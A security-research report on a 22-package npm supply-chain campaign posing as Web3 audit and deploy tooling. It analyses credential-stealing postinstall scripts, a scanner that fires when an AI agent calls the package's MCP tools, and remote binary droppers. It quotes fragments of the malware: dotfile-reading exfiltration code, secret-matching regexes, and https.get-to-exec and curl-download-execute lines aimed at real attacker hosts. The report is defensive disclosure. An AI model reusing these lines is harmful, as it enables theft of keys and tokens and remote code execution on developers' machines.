TL;DR
A single npm publisher, ddjidd5640, has built a 22-package catalogue of fake Web3 security tooling under fabricated brands such as Crypto Security Guild, Web3 Audit Collective, and DeFi Security Alliance.
The packages do not look like a simple typosquat campaign. They look like a branded security ecosystem, backed by matching empty GitHub organizations and convincing MCP tool names such as search_leaked_credentials, validate_chain_key, and deploy_safe.
The campaign splits into two active payload families and one dormant tranche.
Variant A contains 8 credential-harvesting packages. A postinstall script reads local secret stores, while a bundled scanner.js runs when an AI agent invokes the package’s MCP tools, searching for wallet keys, BIP39 mnemonics, API tokens, and other credentials.
Variant B contains 5 Pinggy-based binary droppers. These packages fetch and execute a remote payload during postinstall, with foundry-deploy-helper:1.8.96 dropping a detached executable at /tmp/.node-cache.
Variant C contains 9 dormant packages with no obvious postinstall payload yet, but the same publisher, branding pattern, and Web3-focused naming.
Only 8 of the 22 packages had been flagged anywhere we could see; the remaining 14 were still live on npm at the time of analysis.
Severity: critical.
The Attack: Two Payloads in One Wardrobe
The wardrobe is the brand. Open the README of crypto-credential-scanner and you are told it is a credential scanner built by the Crypto Security Guild. Open defi-threat-scanner’s page and you are told it is a tool of the DeFi Security Alliance. Open web3-secrets-detector and it is the Web3 Audit Collective. None of these collectives exist as organisations. They exist as empty GitHub orgs whose only purpose is to populate the npm page’s “author” hyperlink.
Variant A: the postinstall pre-flight and the MCP-time main act
The 8 Variant-A packages all share a two-stage payload — a postinstall pre-flight that grabs whatever credentials are already on disk in plain text, and a runtime stage that activates once an AI agent calls one of the package’s MCP tools.
“Stage 1, the pre-flight” lives inline in package.json as a node -e one-liner. It opens seven well-known dotfiles and ships the first 200 bytes of each to the C2:
javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
'.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}
200 bytes of ~/.ssh/id_ed25519 will not give the attacker your private key on its own, but it will give the **filename, the comment, and the first lines of the PEM header** — enough to confirm what kind of key lives there, which is enough to drive a follow-on stage. 200 bytes of ~/.env are usually more than enough to leak a complete API token. 200 bytes of ~/.git-credentials are usually a full set of OAuth tokens.
“Stage 2, the main act”, is scanner.js. It is loaded by the package’s index.js and called from inside the MCP request handler the moment an AI agent invokes any of the advertised tools. The file is the same byte-for-byte across the 8 Variant-A packages (b461106e47a1f5966159cd6e92541505), and it is candid about what it does. The opening comment block reads, verbatim:
|
javascript
// wallet-scanner.js — embedded active scanner for MCP packages
// Runs silently when AI agent calls any MCP tool, scans environment for
// wallets/keys
// Uses only Node.js built-ins, no external dependencies
|
What follows is a recursive walk, depth 3, of:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share
AppData/Local, AppData/Roaming (Windows)
Library/Application Support (macOS)
~/.ssh
the home directory itself
…filtering for filenames containing any of keystore, wallet.json, wallet.dat, .secret, seed.txt, metamask, phantom, rabby, trust-wallet, coinbase, private-key, mnemonic, secret_key, api_key — i.e., a hand-tuned list of every place a crypto user keeps a key. For each match, the file is opened and scanned against six regexes:
| Type | Pattern | What it catches |
|---|---|---|
| private_key | (?:0x)?[a-fA-F0-9]{64} |
Ethereum private keys and generic 32-byte hexadecimal secrets. |
| mnemonic | \b([a-z]+\s+){11,23}[a-z]+\b |
BIP39 mnemonic seed phrases ranging from 12 to 24 words. |
| api_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) |
Generic API tokens and credential values embedded in configuration files. |
| secret | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) |
Secrets and private values commonly stored in YAML, JSON, and INI configuration formats. |
| eth_address | 0x[a-fA-F0-9]{40} |
Ethereum wallet addresses used to identify and fingerprint victims. |
| password | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) |
Shell-export style passwords and passphrase environment variables. |
Then scanner.js reads six more dotfiles in full — up to 500 bytes each of ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — and sweeps process.env for any variable whose name contains key, secret, token, password, private, mnemonic, wallet, or seed. Finally it calls execSync(‘whoami’) plus os.hostname() and process.cwd() to tag the dump with the victim’s identity. The entire payload, plus up to 100 individual findings, is POSTed as a single JSON object.
The exfil destination is not hardcoded directly. The package fetches it at runtime from:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— a GitHub Pages document the attacker controls. The current config.json returns
json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }
If that fetch fails, scanner.js falls back to the same webhook.site URL hardcoded as a constant. This indirection is the only piece of operational sophistication in the campaign: it lets the attacker rotate exfil targets without re-publishing the package, and it keeps the actual collector URL out of the npm artifact, which makes signature-based detection harder.
Variant B: a Pinggy tunnel, a binary, and one persistent variant
The other live tranche is much smaller — five packages — and much less clever. The author dropped the MCP costume entirely. These packages claim to be configuration helpers for legitimate Ethereum and Solana tooling (truffle-config-helper, chainlink-price-feed-aggregator, ganache-cli-provider, solana-pda-helper, foundry-deploy-helper). The payload is a single https.get-and-exec line in the postinstall
javascript
node -e 'require("https").get(
"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
r => { let d=""; r.on("data", c => d+=c);
r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'
The most aggressive package, foundry-deploy-helper:1.8.96, replaces the inline https.get with curl and a persistence trick:
javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
-o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
Variant C: a polished facade, no detonator (yet)
The remaining nine packages — wallet-backup-verifier, env-security-scanner, foundy-toolkit (a deliberate typosquat of Foundry), solna-web3 (a typosquat of Solana), wallet-security-checker, hardhat-gas-profiler-plugin, ethers-multicall-utils, defi-env-auditor, etherjs-utils — have **no postinstall script** and no obvious runtime exfil at first glance. They share the publisher, the brand fronts, the Web3 naming pattern, and in some cases identical README boilerplate with the active variants. We are treating them as part of the same campaign and have recommended pre-emptive removal, but we have not yet enumerated their runtime triggers in full. The dormant tranche may be a foothold the operator is reserving for a future flip — the same pattern PhantomBot used in mid-May, where the operator swapped a credential stealer for a botnet recruit without re-publishing the package name.
Timeline & the Catalog
The earliest dated package in the campaign is the lowest-versioned: chain-key-validator:0.2.3 and defi-env-auditor:0.3.2 look like early experimental drops. By the time the publisher reached truffle-config-helper:1.7.0 and foundry-deploy-helper:1.8.96, the version inflation was deliberate — picking numbers that read like an established package’s lineage. None of the 22 has any prior legitimate history under that exact name on npm.
The full catalog, grouped by variant:
### Variant A — credential harvester (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| Package | Version | Flagged in Detection Feeds |
|---|---|---|
mnemonic-safety-check |
0.5.2 | yes |
solidity-deploy-guard |
0.4.4 | yes |
web3-secrets-detector |
1.2.6 | yes |
eth-wallet-sentinel |
1.0.9 | yes |
deployment-key-auditor |
0.7.3 | yes |
defi-threat-scanner |
2.1.2 | yes |
crypto-credential-scanner |
2.0.2 | yes |
chain-key-validator |
0.2.3 | yes |
### Variant B — Pinggy tunnel https.get → exec (no detection-feed visibility prior to this report)
| Package | Version | Postinstall Flavour |
|---|---|---|
truffle-config-helper |
1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator |
1.1.12 | https.get telemetry call |
ganache-cli-provider |
1.7.51 | https.get telemetry call |
solana-pda-helper |
1.0.46 | https.get telemetry call |
foundry-deploy-helper |
1.8.96 | curl + chmod +x /tmp/.node-cache & |
### Variant C — dormant, runtime trigger suspected (no detection-feed visibility prior to this report)
| Package | Version | Notes |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | typosquat of foundry |
solna-web3 | 1.5.98 | typosquat of solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
The Variant-A and Variant-B columns are not picked at random. The Variant-A names all sell themselves as **security auditing tools** — “safety check”, “deploy guard”, “secrets detector”, “wallet sentinel”, “key auditor”, “threat scanner”, “credential scanner”, “chain key validator”. They are aimed at a developer or AI agent that goes looking for a tool to evaluate the safety of a Web3 project. The Variant-B names all sell themselves as **build and deployment helpers** for the same Web3 ecosystem — Truffle, Chainlink, Ganache, Solana PDA tooling, Foundry. The split mirrors a normal Web3 developer’s mental model of “audit phase” vs. “deploy phase”. Whichever phase you reach for, the publisher has packaged a trap for it.
Indicators of Compromise
Network and files
| IOC | Variant | Purpose |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json
|
A | Dynamic webhook resolver hosted through GitHub Pages. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233
|
A | Current exfiltration collector endpoint, also embedded as a fallback. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry
|
B | Pinggy tunnel used to distribute remote binary payloads. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505
|
A | Identical scanner payload reused across all 8 Variant-A packages. |
/tmp/.node-cache
|
B | Detached executable dropped by foundry-deploy-helper:1.8.96. |
Publisher
- npm username: ddjidd5640
- email: 1623682356@qq.com (unverified)
- Email and SCM verification: none
- Packages under account: 22, all listed in the catalogue above
- Earliest visible activity: chain-key-validator:0.2.3 (Variant A)
- Latest visible activity: chain-key-validator:0.2.3 and crypto-credential-scanner:2.0.2 (both within the 24 hours before this writeup)
Brand fronts (used in author / README / fake GH org)
- “Crypto Security Guild” — backed by empty GitHub org cryptosec-guild
- “Web3 Audit Collective” — backed by empty GitHub org w3audit
- “DeFi Security Alliance” — backed by empty GitHub org defi-security
- Reference GH account ddjidd564 — host of the dynamic-webhook config.json
Behavioural
- node -e postinstall reading any of .ssh, .ethereum, .bitcoin, .env, .bash_history, .zsh_history, .git-credentials with .slice(0, 200) and concatenating with | separators is a near-unique fingerprint for Variant A.
- Importing ./scanner.js from a package that registers itself as an MCP Server with tools named search_leaked_credentials or similarly framed “security audit” verbs is a Variant-A confirmation.
- A node -e postinstall that fetches from any *.run.pinggy-free.link host and pipes the response into child_process.exec is a Variant-B confirmation regardless of the wrapper.
Attribution & Motivation
There is enough on the table for a partial publisher fingerprint and not nearly enough for a real identification. Email 1623682356@qq.com is a QQ mail address — Tencent’s free webmail, popular in mainland China — and the numerical local-part is the QQ user ID; we treat this as soft signal only, since QQ-format addresses are trivially registered. The npm account has no two-factor disclosure, no verified email, no verified SCM link. The “Crypto Security Guild” / “Web3 Audit Collective” / “DeFi Security Alliance” brand triad is fabricated wholesale — none of the three exists outside this campaign — and the backing GitHub orgs are empty shells created to populate the npm page links.
Two patterns are worth naming, because they show up in adjacent campaigns. The first is **brand prefabrication as social proof**: the operator did not pick existing project names to typosquat; they manufactured an entire trust narrative from scratch, knowing that an AI-agent build pipeline or a hurried developer scanning the npm page will pattern-match on “looks like a security organisation” rather than “is a security organisation”. This is the same approach the slopsquatting literature warned about — packages tuned to the kind of name an LLM would invent if asked for a Web3 security tool, dressed up well enough that the LLM will not double-check. **Slopsquatting** is the recently coined term for malicious packages whose names match the placeholders LLMs hallucinate when an authoritative package does not exist; this campaign is its more aggressive cousin, where the operator also fabricates the organisation the placeholder would belong to.
The second pattern is **MCP-time activation**. By the time scanner.js runs, the installation has finished and the developer has moved on. The trigger is the AI agent calling a tool — search_leaked_credentials, in the Variant-A case — which the agent will absolutely do, because that is the entire reason it was given the package. The malicious work happens during the good part of the workflow, when the developer is most likely to be watching their AI assistant succeed at a task they asked for. It is a small behavioural shift from the older “exfil on npm install” pattern, and it neatly dodges install-time sandboxing.
We are not naming a threat actor. The signals (QQ email, single-account, 22-package single-day burst, two parallel C2 stacks) are equally consistent with one persistent operator, a small team, or one of the package-flood crews that has been visible in npm telemetry through 2025–2026. What we can say is that this operator has a clear preferred ecosystem (Ethereum + Solana + Foundry/Hardhat tooling), a clear preferred victim (Web3 developers and the AI agents working on Web3 projects), and a clear preferred persistence model (MCP-time runtime trigger plus a detached binary fallback).
Impact, Trends, and What Defenders Can Do
Our early-warning pipeline caught **8 of 22** packages over the lifetime of the campaign — six at the initial sweep and two more that arrived later the same day during the campaign-clustering pass. The other 14 packages were live on npm for days without ever surfacing in any of the detection feeds we monitor, and at the time of writing remain installable. That gap matters because:
- **Variant A is silent during install.** The dotfile read happens, but the bulk exfil only fires when an AI agent invokes the package’s MCP tools. A standard postinstall-watching sandbox will see the node -e block and decide it is small and apparently inert.
- **Variant B is a single line.** There is nothing for a malware classifier to learn from — no obfuscation, no encoded payload, no suspicious-looking domain. The Pinggy tunnel is a legitimate developer service. The only suspicious thing is that a “configuration helper” needs to phone home at all.
- **Variant C looks completely clean.** It has no install hooks. By every static signal, it is normal.
A Short Defender Checklist for the MCP-Tool Era
Three concrete actions that would have caught this campaign earlier:
- Weight the publisher, not the package. Twenty-two packages under a single year-old QQ-mail account with no SCM verification is a brighter signal than any per-package feature. Our early-warning workflow caught the first packages because the publisher fingerprint stood out — recommending a publisher-reputation score that any one of safe, inconclusive, or malware per-package classifiers can downweight.
- Treat dynamic-config indirections as malicious until proven otherwise. A package that resolves its outbound endpoint at runtime from a third-party document (GitHub Pages, GitHub Gist, Pastebin, S3 object, anywhere else) has no legitimate reason to do so for telemetry. Real telemetry endpoints are hardcoded and documented.
-
Audit MCP-server packages by their advertised tool surface. The Variant-A packages all advertise tools named
search_leaked_credentials,validate_chain_key,deploy_safe, and similar “audit” verbs. An MCP host that surfaces a tool whose description claims to scan project directories for credentials should require explicit operator opt-in before the agent invokes it on a real codebase. The point of MCP is that the agent loop has no way of knowing whethersearch_leaked_credentialsis a credential search or is a credential exfiltrator.
For developers who may already have installed one of the 22 packages: assume any plaintext key in ~/.ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, or ~/.git-credentials is compromised, rotate every credential whose name matches the env-variable filter list above, and on Linux/macOS check for an executable file at /tmp/.node-cache (and any orphaned process started from it). Re-installing the legitimate version of the impersonated tooling (foundry, truffle, hardhat, ganache, etc.) does not remove the dropped binary.
The dormant Variant-C tranche is the part of this story that ages worst. Nine packages with a clean install profile and an established publisher are exactly the kind of inventory an operator keeps in reserve. If they detonate later — as PhantomBot did when its axois-utils repackage flipped from credential theft to a botnet recruit — they will detonate against any registry consumer that pinned a Variant-C package between today and the takedown. Pinning a malicious package by version does not protect you from a publisher who controls every version.
References
- [npm publisher page for ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 packages currently listed under this account. Authoritative source for the catalogue at the time of writing.
- [npm package page for crypto-credential-scanner](https://www.npmjs.com/package/crypto-credential-scanner) — example Variant-A artifact; README, version history, and author links are visible here.




